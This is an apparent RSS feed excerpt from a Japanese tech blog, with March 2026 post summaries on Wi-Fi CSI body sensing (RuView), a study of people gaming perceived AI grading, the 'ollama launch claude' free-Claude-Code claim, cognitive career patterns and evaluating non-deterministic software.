&lt;td&gt;&lt;strong&gt;MCP サポート&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;あり&lt;/td&gt;
&lt;td&gt;あり&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;コード品質&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;実用的（オープンモデルとしてトップクラス）&lt;/td&gt;
&lt;td&gt;最高品質&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;カスタマイズ&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;完全にカスタマイズ可能&lt;/td&gt;
&lt;td&gt;限定的&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="できること"&gt;できること&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;コードベース全体を理解して質問に答える&lt;/li&gt;
&lt;li&gt;ファイルの作成・編集・削除&lt;/li&gt;
&lt;li&gt;シェルコマンドの実行&lt;/li&gt;
&lt;li&gt;Git 操作（コミット、diff 確認等）&lt;/li&gt;
&lt;li&gt;バグの発見と修正&lt;/li&gt;
&lt;li&gt;テストの作成と実行&lt;/li&gt;
&lt;li&gt;MCP サーバーとの連携&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="インストール手順"&gt;インストール手順&lt;/h2&gt;
&lt;h3 id="前提条件"&gt;前提条件&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Node.js 20 以上&lt;/strong&gt;が必要です。まだインストールしていない場合は &lt;a href="https://nodejs.org/"&gt;nodejs.org&lt;/a&gt; からダウンロードしてください。&lt;/p&gt;</description></item><item><title>RuView × Wi-Fi電波で壁越し人体検知 — $48で心拍・姿勢を丸裸にする技術の実態</title><link>https://hdknr.github.io/blogs/posts/2026/03/ruview-wi-fi%E9%9B%BB%E6%B3%A2%E3%81%A7%E5%A3%81%E8%B6%8A%E3%81%97%E4%BA%BA%E4%BD%93%E6%A4%9C%E7%9F%A5-48%E3%81%A7%E5%BF%83%E6%8B%8D%E5%A7%BF%E5%8B%A2%E3%82%92%E4%B8%B8%E8%A3%B8%E3%81%AB%E3%81%99%E3%82%8B%E6%8A%80%E8%A1%93%E3%81%AE%E5%AE%9F%E6%85%8B/</link><pubDate>Fri, 06 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/ruview-wi-fi%E9%9B%BB%E6%B3%A2%E3%81%A7%E5%A3%81%E8%B6%8A%E3%81%97%E4%BA%BA%E4%BD%93%E6%A4%9C%E7%9F%A5-48%E3%81%A7%E5%BF%83%E6%8B%8D%E5%A7%BF%E5%8B%A2%E3%82%92%E4%B8%B8%E8%A3%B8%E3%81%AB%E3%81%99%E3%82%8B%E6%8A%80%E8%A1%93%E3%81%AE%E5%AE%9F%E6%85%8B/</guid><description>&lt;h1 id="ruview--wi-fi電波で壁越し人体検知--48で心拍姿勢を丸裸にする技術の実態"&gt;RuView × Wi-Fi電波で壁越し人体検知 — $48で心拍・姿勢を丸裸にする技術の実態&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;TL;DR&lt;/strong&gt;: カメラなし・$48のESP32だけで壁の向こうの人間の心拍・呼吸・骨格17点を検知できるとするオープンソースプロジェクト「RuView」がSNSで話題に。原理はCMU発の査読済み研究に基づく実在技術だが、「28.5kスター」の裏には再現性への疑義とCSIハードウェアの壁がある。煽りと科学を分離して整理する。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2 id="話題の発端"&gt;話題の発端&lt;/h2&gt;
&lt;p&gt;@kosuke_agos氏のポスト（2026年3月5日、閲覧6.4万・ブックマーク456）が日本語圏で拡散。「市販Wi-Fiルーターだけで壁の向こう側の人間の心拍数や姿勢を完全に特定」「わずか48ドルで構築」という衝撃的な内容が注目を集めた。&lt;/p&gt;
&lt;p&gt;&lt;a href="https://x.com/kosuke_agos/status/2029392193325285521"&gt;https://x.com/kosuke_agos/status/2029392193325285521&lt;/a&gt;&lt;/p&gt;
&lt;h2 id="ruview-とは何か"&gt;RuView とは何か&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;RuView&lt;/strong&gt;（旧wifi-densepose）は、Wi-Fi信号のCSI（Channel State Information）を解析して、カメラなしで人体の姿勢推定・バイタルサイン検知を行うオープンソースプロジェクト。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;GitHub&lt;/strong&gt;: &lt;a href="https://github.com/ruvnet/RuView"&gt;https://github.com/ruvnet/RuView&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;スター&lt;/strong&gt;: 28.5k / フォーク: 3.7k&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ライセンス&lt;/strong&gt;: MIT&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;実装言語&lt;/strong&gt;: Rust（Python比810倍の処理速度を主張）&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="主張されている性能"&gt;主張されている性能&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;機能&lt;/th&gt;
&lt;th&gt;スペック&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;骨格トラッキング&lt;/td&gt;
&lt;td&gt;17箇所のキーポイント&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;呼吸検知&lt;/td&gt;
&lt;td&gt;6-30 BPM&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;心拍検知&lt;/td&gt;
&lt;td&gt;40-120 BPM&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;処理速度&lt;/td&gt;
&lt;td&gt;54,000 fps（Rust実装）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;壁越し検知距離&lt;/td&gt;
&lt;td&gt;最大5m&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;AIモデルサイズ&lt;/td&gt;
&lt;td&gt;55KB（エッジ実行可能）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ハードウェアコスト&lt;/td&gt;
&lt;td&gt;〜$48（ESP32-S3 × 4-6台）&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="科学的な背景--cmudensepose-from-wifi"&gt;科学的な背景 — CMU「DensePose From WiFi」&lt;/h2&gt;
&lt;p&gt;RuView の理論的基盤は、カーネギーメロン大学（CMU）ロボティクス研究所が2022年に発表した査読済み論文「&lt;strong&gt;DensePose From WiFi&lt;/strong&gt;」（arXiv: 2301.00250）。&lt;/p&gt;
&lt;h3 id="論文の核心"&gt;論文の核心&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Wi-Fiの**CSI（チャネル状態情報）**は、空間内の物体・人体による電波の反射・回折・散乱を数値化したもの&lt;/li&gt;
&lt;li&gt;CSI信号を画像的な2D特徴マップに変換する&lt;strong&gt;エンコーダ・デコーダネットワーク&lt;/strong&gt;を構築&lt;/li&gt;
&lt;li&gt;修正版&lt;strong&gt;DensePose-RCNN&lt;/strong&gt;で、2D特徴から人体表面のUV座標を推定&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;複数人の同時検知&lt;/strong&gt;が可能で、カメラベースのアプローチに匹敵する性能を達成&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;この研究は実在し、査読を通過しており、Wi-Fi CSI による人体検知という&lt;strong&gt;原理自体は「嘘」ではない&lt;/strong&gt;。&lt;/p&gt;
&lt;h3 id="csi-の仕組み簡略版"&gt;CSI の仕組み（簡略版）&lt;/h3&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;Wi-Fi ルーター → 電波送信（OFDM: 52サブキャリア）
↓
人体が電波を反射・吸収・散乱
↓
ESP32 受信 → 各サブキャリアの振幅・位相変化を記録（= CSI）
↓
AI が CSI パターンから人体の姿勢・バイタルを推定
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;呼吸は胸部の周期的な膨張・収縮（6-30回/分）、心拍は胸壁の微小振動（40-120回/分）として、CSIの&lt;strong&gt;FFT（高速フーリエ変換）解析&lt;/strong&gt;で分離・抽出される。&lt;/p&gt;</description></item><item><title>「AIに評価されている」と知った人は量を増やし質を落とす — アルゴリズム評価の隠れたコスト</title><link>https://hdknr.github.io/blogs/posts/2026/03/ai%E3%81%AB%E8%A9%95%E4%BE%A1%E3%81%95%E3%82%8C%E3%81%A6%E3%81%84%E3%82%8B%E3%81%A8%E7%9F%A5%E3%81%A3%E3%81%9F%E4%BA%BA%E3%81%AF%E9%87%8F%E3%82%92%E5%A2%97%E3%82%84%E3%81%97%E8%B3%AA%E3%82%92%E8%90%BD%E3%81%A8%E3%81%99-%E3%82%A2%E3%83%AB%E3%82%B4%E3%83%AA%E3%82%BA%E3%83%A0%E8%A9%95%E4%BE%A1%E3%81%AE%E9%9A%A0%E3%82%8C%E3%81%9F%E3%82%B3%E3%82%B9%E3%83%88/</link><pubDate>Thu, 05 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/ai%E3%81%AB%E8%A9%95%E4%BE%A1%E3%81%95%E3%82%8C%E3%81%A6%E3%81%84%E3%82%8B%E3%81%A8%E7%9F%A5%E3%81%A3%E3%81%9F%E4%BA%BA%E3%81%AF%E9%87%8F%E3%82%92%E5%A2%97%E3%82%84%E3%81%97%E8%B3%AA%E3%82%92%E8%90%BD%E3%81%A8%E3%81%99-%E3%82%A2%E3%83%AB%E3%82%B4%E3%83%AA%E3%82%BA%E3%83%A0%E8%A9%95%E4%BE%A1%E3%81%AE%E9%9A%A0%E3%82%8C%E3%81%9F%E3%82%B3%E3%82%B9%E3%83%88/</guid><description>&lt;h1 id="aiに評価されていると知った人は量を増やし質を落とす--アルゴリズム評価の隠れたコスト"&gt;「AIに評価されている」と知った人は量を増やし質を落とす — アルゴリズム評価の隠れたコスト&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/ai_database/status/2029385915911872782"&gt;@ai_database（AIDB）のポスト&lt;/a&gt;が話題になっています。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;提出物をAIでレビューするツールや、実際にそれらを使用する人も増えている中、今回カリフォルニア大学などの研究者らは「&amp;ldquo;AIで仕事を評価されている&amp;quot;と知った人は&amp;quot;アウトプットの量は増えるが中身が薄くなる&amp;rdquo;」という現象が有意にあることを実験で確認しました。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;カリフォルニア大学サンタバーバラ校（UCSB）の David Almog、Lucas Lippman、Daniel Martin らが 2026 年 3 月に発表した論文「When an AI Judges Your Work: The Hidden Costs of Algorithmic Assessment」は、AI 評価が人間の行動を構造的に変えてしまうことを実験で証明しました。量は増えるが質は落ちる、外部ツールへの依存は倍増する、高得点の喜びは薄れる — 「AIがだましやすいから手を抜く」ではなく、&lt;strong&gt;人間の目の有無がモチベーションそのものを変える&lt;/strong&gt;という発見です。&lt;/p&gt;
&lt;h2 id="実験の設計--208-人の画像説明タスク"&gt;実験の設計 — 208 人の画像説明タスク&lt;/h2&gt;
&lt;p&gt;研究チームは 208 人の参加者をランダムに 2 グループに分けました。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;グループ&lt;/th&gt;
&lt;th&gt;人数&lt;/th&gt;
&lt;th&gt;評価者&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;人間評価グループ&lt;/td&gt;
&lt;td&gt;103 人&lt;/td&gt;
&lt;td&gt;人間の評価者が採点すると事前に告知&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ChatGPT 評価グループ&lt;/td&gt;
&lt;td&gt;105 人&lt;/td&gt;
&lt;td&gt;ChatGPT が採点すると事前に告知&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;タスクは 20 枚の日常風景画像に対して 150〜400 文字の説明文を書くことです。評価基準は「興味深さ」「努力」「正確さ」の 3 項目で、各 0〜3 点（合計 9 点満点）です。&lt;/p&gt;
&lt;p&gt;重要なのは、&lt;strong&gt;両グループとも実際の評価方法は同じ&lt;/strong&gt;だったことです。違うのは「誰に評価されると思っているか」だけです。つまり、この実験が測定しているのは AI の評価能力ではなく、&lt;strong&gt;「AI に評価される」という認知が人間の行動をどう変えるか&lt;/strong&gt;です。&lt;/p&gt;
&lt;h2 id="結果--量は増え質は落ちる"&gt;結果 — 量は増え、質は落ちる&lt;/h2&gt;
&lt;h3 id="量の増加"&gt;量の増加&lt;/h3&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;出力文字数:
人間評価グループ: 229 文字（平均）
ChatGPT評価グループ: 251 文字（平均） → +9.6%（p &amp;lt; 0.0001）
作成時間:
人間評価グループ: 94 秒（平均）
ChatGPT評価グループ: 85 秒（平均） → -9.6%（p &amp;lt; 0.0001）
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;ChatGPT 評価グループは&lt;strong&gt;より短い時間で、より多くの文字数&lt;/strong&gt;を生産しました。一見すると生産性が向上しているように見えます。&lt;/p&gt;</description></item><item><title>「Claude Code無料で無制限」は本当か × ollama launch claudeの実態と品質ギャップの正直な話</title><link>https://hdknr.github.io/blogs/posts/2026/03/claude-code%E7%84%A1%E6%96%99%E3%81%A7%E7%84%A1%E5%88%B6%E9%99%90%E3%81%AF%E6%9C%AC%E5%BD%93%E3%81%8B-ollama-launch-claude%E3%81%AE%E5%AE%9F%E6%85%8B%E3%81%A8%E5%93%81%E8%B3%AA%E3%82%AE%E3%83%A3%E3%83%83%E3%83%97%E3%81%AE%E6%AD%A3%E7%9B%B4%E3%81%AA%E8%A9%B1/</link><pubDate>Thu, 05 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/claude-code%E7%84%A1%E6%96%99%E3%81%A7%E7%84%A1%E5%88%B6%E9%99%90%E3%81%AF%E6%9C%AC%E5%BD%93%E3%81%8B-ollama-launch-claude%E3%81%AE%E5%AE%9F%E6%85%8B%E3%81%A8%E5%93%81%E8%B3%AA%E3%82%AE%E3%83%A3%E3%83%83%E3%83%97%E3%81%AE%E6%AD%A3%E7%9B%B4%E3%81%AA%E8%A9%B1/</guid><description>&lt;h1 id="claude-code-が無料で無制限は本当か--ollama-launch-claude-の実態と品質ギャップの正直な話"&gt;「Claude Code が無料で無制限」は本当か &amp;mdash; ollama launch claude の実態と品質ギャップの正直な話&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/tusharsoni014/status/2029198384721215662"&gt;@TusharSoni014 氏の X 投稿&lt;/a&gt;が 10 万回以上表示され、2,227 件のブックマークを集めています。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Want Claude Code Unlimited FREE? Follow,&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Download Ollama&lt;/li&gt;
&lt;li&gt;Install Qwen3.5 9B&lt;/li&gt;
&lt;li&gt;Run this command in your terminal, ollama launch claude &amp;ndash;model qwen3.5:9b&lt;/li&gt;
&lt;li&gt;Enjoy Unlimited Claude Code fully running 100% Free&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;p&gt;「Claude Code が完全に無料で無制限に使える」という主張です。1,311 件のいいねと 127 件のリツイートを見ると、多くの人がこの情報に飛びついたことがわかります。&lt;/p&gt;
&lt;p&gt;結論から言えば、&lt;strong&gt;コマンド自体は実在しますが、「Claude Code が無料で動く」という表現は大きな誤解を招きます&lt;/strong&gt;。正確に何が起きているのか、何が失われるのかを解説します。&lt;/p&gt;
&lt;h2 id="ollama-launch-claude-は実在する"&gt;ollama launch claude は実在する&lt;/h2&gt;
&lt;h3 id="コマンドの正体"&gt;コマンドの正体&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;ollama launch&lt;/code&gt; は、Ollama v0.15 で追加された&lt;strong&gt;公式コマンド&lt;/strong&gt;です。Claude Code、OpenCode、Codex などのコーディングツールを、環境変数や設定ファイルなしで起動できるようにするものです。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# 基本的な使い方&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ollama launch claude &lt;span style="color:#75715e"&gt;# インタラクティブにモデルを選択&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ollama launch claude --model qwen3-coder &lt;span style="color:#75715e"&gt;# モデルを指定して起動&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ollama launch claude --model qwen3.5:9b &lt;span style="color:#75715e"&gt;# ツイートの例&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;このコマンドが裏でやっていることは、Ollama の &lt;strong&gt;Anthropic Messages API 互換モード&lt;/strong&gt;を利用して、ローカルの LLM を Claude Code のバックエンドとして接続することです。&lt;/p&gt;</description></item><item><title>「あなたは何者？」— 職能の境界が溶けた AI 時代に、認知パターンで自分を再定義する</title><link>https://hdknr.github.io/blogs/posts/2026/03/%E3%81%82%E3%81%AA%E3%81%9F%E3%81%AF%E4%BD%95%E8%80%85-%E8%81%B7%E8%83%BD%E3%81%AE%E5%A2%83%E7%95%8C%E3%81%8C%E6%BA%B6%E3%81%91%E3%81%9F-ai-%E6%99%82%E4%BB%A3%E3%81%AB%E8%AA%8D%E7%9F%A5%E3%83%91%E3%82%BF%E3%83%BC%E3%83%B3%E3%81%A7%E8%87%AA%E5%88%86%E3%82%92%E5%86%8D%E5%AE%9A%E7%BE%A9%E3%81%99%E3%82%8B/</link><pubDate>Thu, 05 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/%E3%81%82%E3%81%AA%E3%81%9F%E3%81%AF%E4%BD%95%E8%80%85-%E8%81%B7%E8%83%BD%E3%81%AE%E5%A2%83%E7%95%8C%E3%81%8C%E6%BA%B6%E3%81%91%E3%81%9F-ai-%E6%99%82%E4%BB%A3%E3%81%AB%E8%AA%8D%E7%9F%A5%E3%83%91%E3%82%BF%E3%83%BC%E3%83%B3%E3%81%A7%E8%87%AA%E5%88%86%E3%82%92%E5%86%8D%E5%AE%9A%E7%BE%A9%E3%81%99%E3%82%8B/</guid><description>&lt;h1 id="あなたは何者-職能の境界が溶けた-ai-時代に認知パターンで自分を再定義する"&gt;「あなたは何者？」— 職能の境界が溶けた AI 時代に、認知パターンで自分を再定義する&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/yamashitakazuki/status/2028685272276484369"&gt;@yamashitakazuki 氏（山下一樹氏）のポスト&lt;/a&gt;が、生成 AI によって「デザイナー」「エンジニア」という職能の境界が溶けつつある今、自分を&lt;strong&gt;認知パターン&lt;/strong&gt;から捉え直す視点を提案しています。&lt;a href="https://x.com/kgsi/status/2029200241648680973"&gt;@kgsi 氏&lt;/a&gt;が「迷ってるデザイナーにこそ見てほしい記事」として紹介し、反響を呼んでいます。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;迷ってるデザイナーにこそ見てほしい記事。生成AIで職能の境界が溶けていく中で、「自分は何者か」を肩書きではなく&amp;quot;認知パターン&amp;quot;から捉え直そうという話。実行者・調整者・構想者・深化者——自分も読みながら近しいタイプがあって、なんだか輪郭がはっきりした感覚があった。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;山下氏は、Donna Dunning の著書 &amp;ldquo;What&amp;rsquo;s Your Type of Career?&amp;rdquo; (2001) をベースに、職能（何ができるか）ではなく認知パターン（どう考え、どう動くか）でキャリアを見つめ直すフレームワークを提示しています。&lt;/p&gt;
&lt;h2 id="問いの構造--なぜ何者が問われるのか"&gt;問いの構造 — なぜ「何者」が問われるのか&lt;/h2&gt;
&lt;h3 id="職能の境界が溶けている"&gt;職能の境界が溶けている&lt;/h3&gt;
&lt;p&gt;2026年現在、生成 AI は職能の境界を急速に溶かしています。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;従来&lt;/th&gt;
&lt;th&gt;現在&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;UI デザインはデザイナーの仕事&lt;/td&gt;
&lt;td&gt;エンジニアが AI でモックアップを作れる&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;コーディングはエンジニアの仕事&lt;/td&gt;
&lt;td&gt;デザイナーが Claude Code でアプリを作れる&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;設計書はアーキテクトの仕事&lt;/td&gt;
&lt;td&gt;PM が AI で技術仕様を書ける&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;テストは QA の仕事&lt;/td&gt;
&lt;td&gt;誰でも AI でテストコードを生成できる&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;AI がコードの8割を自動生成し、デザインツールが自然言語で操作でき、文章も翻訳も AI が担う。「何ができるか」で自分を定義していた人ほど、足元が揺らいでいます。&lt;/p&gt;
&lt;h3 id="職能はペルソナに過ぎない"&gt;職能は「ペルソナ」に過ぎない&lt;/h3&gt;
&lt;p&gt;山下氏の指摘は鋭いものです。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;職能はその人をとりあえず認識するのにとても便利ですが、あくまでペルソナであり、仕事上の姿であり、自分がどういう人かをまったく示しません。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;「デザイナー」「エンジニア」という肩書きは、その人が&lt;strong&gt;何をするか&lt;/strong&gt;は示しますが、&lt;strong&gt;どう考え、どう動くか&lt;/strong&gt;は見えません。同じ「デザイナー」でも、全体を俯瞰して構造から入る人と、ディテールを積み上げて形にしていく人では、プロジェクトへの関わり方が根本的に違います。&lt;/p&gt;
&lt;h2 id="4つの認知パターン--実行者調整者構想者深化者"&gt;4つの認知パターン — 実行者・調整者・構想者・深化者&lt;/h2&gt;
&lt;p&gt;山下氏は、Donna Dunning の「8 Ways of Working」を土台に、認知パターンを&lt;strong&gt;4つの大分類&lt;/strong&gt;に集約しています。&lt;/p&gt;
&lt;h3 id="一覧"&gt;一覧&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;認知パターン&lt;/th&gt;
&lt;th&gt;特徴&lt;/th&gt;
&lt;th&gt;プロジェクトでの役割&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;実行者&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;状況を即座に読み取り、実行し動かすことで価値を生む&lt;/td&gt;
&lt;td&gt;手を動かし、具体的な成果を出す&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;調整者&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;人とプロセスをつなぎ、基盤と関係を安定させる&lt;/td&gt;
&lt;td&gt;チームの連携を保ち、プロセスを回す&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;構想者&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;まだ見えていない可能性に視点と構想を持ち、方向を示す&lt;/td&gt;
&lt;td&gt;ビジョンを描き、方向性を定める&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;深化者&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;ひとつのことを掘り下げ、質と精度を高め続ける&lt;/td&gt;
&lt;td&gt;専門性を深め、品質を担保する&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="職能-vs-認知パターン"&gt;職能 vs 認知パターン&lt;/h3&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;職能で見た場合:
デザイナー A（UI デザイン）
デザイナー B（UI デザイン）
→ 同じ「デザイナー」に見える
認知パターンで見た場合:
デザイナー A（構想者）→ 全体を俯瞰し、ユーザー体験の方向性を示す
デザイナー B（深化者）→ ディテールを追求し、インタラクションの質を高める
→ まったく異なる人物が見える
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;プロジェクトの進み方を左右しているのは、職能の違いよりも&lt;strong&gt;認知パターンの違い&lt;/strong&gt;だと山下氏は指摘します。&lt;/p&gt;</description></item><item><title>「決定性のないソフトウェア」の設計と評価 × t_wada氏の視点とskill-creatorが実装したTDD→EDD移行パターン</title><link>https://hdknr.github.io/blogs/posts/2026/03/%E6%B1%BA%E5%AE%9A%E6%80%A7%E3%81%AE%E3%81%AA%E3%81%84%E3%82%BD%E3%83%95%E3%83%88%E3%82%A6%E3%82%A7%E3%82%A2%E3%81%AE%E8%A8%AD%E8%A8%88%E3%81%A8%E8%A9%95%E4%BE%A1-t_wada%E6%B0%8F%E3%81%AE%E8%A6%96%E7%82%B9%E3%81%A8skill-creator%E3%81%8C%E5%AE%9F%E8%A3%85%E3%81%97%E3%81%9Ftddedd%E7%A7%BB%E8%A1%8C%E3%83%91%E3%82%BF%E3%83%BC%E3%83%B3/</link><pubDate>Thu, 05 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/%E6%B1%BA%E5%AE%9A%E6%80%A7%E3%81%AE%E3%81%AA%E3%81%84%E3%82%BD%E3%83%95%E3%83%88%E3%82%A6%E3%82%A7%E3%82%A2%E3%81%AE%E8%A8%AD%E8%A8%88%E3%81%A8%E8%A9%95%E4%BE%A1-t_wada%E6%B0%8F%E3%81%AE%E8%A6%96%E7%82%B9%E3%81%A8skill-creator%E3%81%8C%E5%AE%9F%E8%A3%85%E3%81%97%E3%81%9Ftddedd%E7%A7%BB%E8%A1%8C%E3%83%91%E3%82%BF%E3%83%BC%E3%83%B3/</guid><description>&lt;h1 id="決定性のないソフトウェアをどう設計し評価するか--t_wada-氏の視点と-skill-creator-が実装した答え"&gt;「決定性のないソフトウェア」をどう設計し評価するか &amp;mdash; t_wada 氏の視点と skill-creator が実装した答え&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/t_wada/status/2029390103462986212"&gt;和田卓人（@t_wada）氏が X で言及&lt;/a&gt;した、skill-creator の設計に関するコメントが注目を集めています。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;skill-creator いい感じで動作すると思っていたら中身がこのようになっていたのか。決定性のないソフトウェアをどう実践的に設計して評価するかといった観点でも参考になるエントリ。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;t_wada 氏は、テスト駆動開発（TDD）の日本における第一人者であり、Kent Beck 著『テスト駆動開発』の翻訳者、power-assert-js の作者として知られるプログラマです。その t_wada 氏が「決定性のないソフトウェアの設計と評価」という観点で skill-creator を評価しています。&lt;/p&gt;
&lt;p&gt;元記事は&lt;a href="https://nyosegawa.github.io/posts/skill-creator-and-orchestration-skill/"&gt;逆瀬川ちゃん氏のブログ「skill-creator から学ぶ Skill 設計と、Orchestration Skill の作り方」&lt;/a&gt;です。本記事では、t_wada 氏の指摘する「決定性のないソフトウェア」の設計問題に焦点を当て、skill-creator がどのような解を実装しているかを解説します。&lt;/p&gt;
&lt;h2 id="決定性のないソフトウェアとは何か"&gt;「決定性のないソフトウェア」とは何か&lt;/h2&gt;
&lt;h3 id="従来のソフトウェアとの違い"&gt;従来のソフトウェアとの違い&lt;/h3&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;決定的ソフトウェア（従来）:
入力 A → 常に出力 X
入力 B → 常に出力 Y
→ 「2 + 2 = 4」を assert できる
